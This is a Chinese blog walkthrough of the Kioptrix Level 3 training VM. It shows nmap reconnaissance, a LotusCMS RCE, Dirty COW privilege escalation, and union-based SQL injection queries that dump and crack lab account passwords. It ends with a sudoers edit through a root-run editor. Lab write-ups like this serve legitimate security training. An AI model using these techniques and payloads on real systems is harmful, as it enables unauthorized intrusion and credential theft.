[1. 信息收集](#1. 信息收集)
[1.1. 主机发现](#1.1. 主机发现)
[1.2. 端口扫描](#1.2. 端口扫描)
[1.4. 敏感信息](#1.4. 敏感信息)
[2.3. sql注入getshell](#2.3. sql注入getshell)
[2.3.2. 测试字段和类型](#2.3.2. 测试字段和类型)
一、前情提要
kali黑客-利用searchsploit搜索exp一键化攻击-CSDN博客
一篇文章带你理解nmap的使用-nmap使用手册-CSDN博客
类OCSP靶场-Kioptrix系列-Kioptrix Level 1-CSDN博客
类OCSP靶场-Kioptrix系列-Kioptrix Level 2-CSDN博客
类OCSP靶场-Kioptrix系列-Kioptrix Level 3-CSDN博客
类OCSP靶场-Kioptrix系列-Kioptrix Level 4-CSDN博客
类OCSP靶场-Kioptrix系列-Kioptrix Level 5-CSDN博客
二、实战打靶
这个靶机练习,相当于内网渗透。
1. 信息收集
1.1. 主机发现
在同一局域网下的主机发现思路:
-
通过ifconfig或ip add的方式查看当前主机的网段
-
利用nmap对扫描对应子网内的所有主机在线情况
执行完命令可以发现,该网段除了我们的kali还有一台129的主机在线。
(PS:在虚拟网络下1和2这两个ip分别对应的是网卡和网关。)
1.2. 端口扫描
还是利用nmap进行端口扫描并探测端口服务的版本。
-
命令:nmap -sT -sV - -O --min-rate 10000 -p- 192.168.150.129
-
-sT:以TCP三次握手的形式进行扫描
-
-sV:扫描各服务的版本
-
-O:扫描目标机器的操作系统
-
--min-rate:最少的发包数量
-
-p-:全端口扫描
-
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) MAC Address: 00:0C:29:C7:74:83 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1.3.目录遍历
发现存在phpmyadmin
1.4. 敏感信息
这个是根据端口探测、手工、目录爆破信息收集来的。
http://192.168.150.129/index.php?system=Admin LotusCMS http://192.168.150.129/phpmyadmin/ phpMyAdmin 2.11.3deblubuntu1.3 OpenSSH 4.7p1 Apache httpd 2.2.8 PHP/5.2.4
2.漏洞发现
在目录爆破阶段查看的时候,发现存在登录框和phpmyadmin这个mysql登录,都尝试一下爆破。
2.1.登录功能账号密码爆破
phpmyadmin存在空密码登录,LotusCMS的登录框爆破失败了。
测试后发现这个phpmyadmin的登录框,空密码登录上去的权限太低了所有调头换个思路。
2.2.CMS历史漏洞
这里可以发现LotusCMS是个cms我们去找这个cms是否存在历史漏洞尝试对它进行利用。
发现存在这个CMS远程命令执行eval()利用脚本,但是rb是msf的oscp只能用一次,我们要留在最有用的地方。
2.2.1.exp利用
我们可以百度搜索,我这里搜索到了两个脚本
搜集到脚本查看一下源码就知道咋利用了。
2.2.2.提权
上去发现是一个低权限
常规信息收集
搜索提权exp
-
searchsploit "Ubuntu 8.04"
-
searchsploit "Privilege" | grep linux | grep 2.6.2
看了几个发现有CVE-2016-5195脏牛漏洞,这个是著名漏洞一旦出现基本都可以提权。
直接下载、编译、查看并利用exp
脏牛exp的原理是通过版本漏洞制作一个拥有root权限的账号,我们用su命令登录上去就可以了。
但是这个过程中发现su firefart失败了,分析报错信息是因为我们的shell会话是个不完成的会话,我们需要将会话提升至交互式会话,提权成功root权限。
-
python -c 'import pty; pty.spawn("/bin/bash")'
-
su firefart
2.3. sql注入getshell
后面还发现了一个sql注入点并且getshell拿到权限了。
2.3.1.发现注入点
手工信息收集发现这里有很多界面,单独点击看看有没有东西。
发现有个域名我们解析不过去,但是其实是靶机的ip,我们添加一条本地域名解析
bash
echo 192.168.150.134 kioptrix3.com >> /etc/hosts
多查查,多看看注入点在这,是一个整数型注入。
2.3.2. 测试字段和类型
通过group by测试字段发现是六位,因为group by 7的时候出现了报错不存在这么多列。
发现是联合注入,回显位是2和3
2.3.3.查询字段等敏感信息
我准备相关的命令改一下参数就可以使用了
查询 information_schema =>是一个特殊数据库,用于存储关于数据库服务器、数据库、表、列等元数据信息的数据。 schemata =>存储所有数据库的库名 tables =>存储所有数据库中表的表名 columns =>存储所有数据库中表的列名 列出所有数据库 select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 列出当前数据库的所有表 select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() 列出这个表的所有字段 select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='dev_accounts' 列出表中所有的字段内容 select group_concat(concat(id,0x20,username,0x20,password)) from dev_accounts
获取当前数据库的所有表名,发现存在dev_accounts 这个术语通常指的是开发者账户,也就是系统账户。
获取字段名
查看字段内容,mysql自带的md5加密,拿去网站破解一下就出结果了这里就不放图了
1 dreg 0d3eccfb887aabd50f243b3f155c0f85(Mast3r) 2 loneferret 5badcaf789d3d1d09794d8f021f40f0e(starwars)
2.3.4.ssh连接并提权
他们系统版本一样,脏牛漏洞是没问题的,就不再演示了。
2.4.第二种提权思路
如果你用了脏牛exp来提权就不能使用这个方法,因为脏牛exp会修改root用户的用户名,导致sudo命令失效。
我们使用sql注入getshell获取到的用户来登录ssh
其中!/usr/bin/su执行不了,没有这个文件,也不能创建这个文件,因为权限不足。
但是/usr/local/bin/ht是可以执行的,这是一个编辑器,而且是一个可以以root权限运行的编辑器。所以我们可以用这个编辑器修改/usr/passwd或/etc/sudoers文件来提权。
bash
sudo /usr/local/bin/ht
按F3,然后输入/etc/sudoers打开该配置文件,看一看root用户的配置,依葫芦画瓢。
ALL=(ALL) ALL,其中三个ALL的含义不同,其含义如下:
其中第一个ALL代表允许所有主机来源执行sudo,例如只允许该用户在本地执行sudo可以将ALL改成localhost。
第二种ALL代表该用户可以用任何用户的身份执行sudo。
第三个ALL代表该用户可以执行任何命令
有一些文件中会这么写:ALL=(ALL:ALL) ALL,括号中第二个ALL代表任何用户组。
-
我们在本地用户都能执行的后面加上/bin/bash
- /bin/bash
-
或者在最后加上允许所有主机来源用户可以执行任何命令
- loneferret ALL=(ALL) ALL
修改完成后按F2保存,然后按ctrl+c退出,然后以root权限执行/bin/bash即可提权成功!
bash
sudo /bin/bash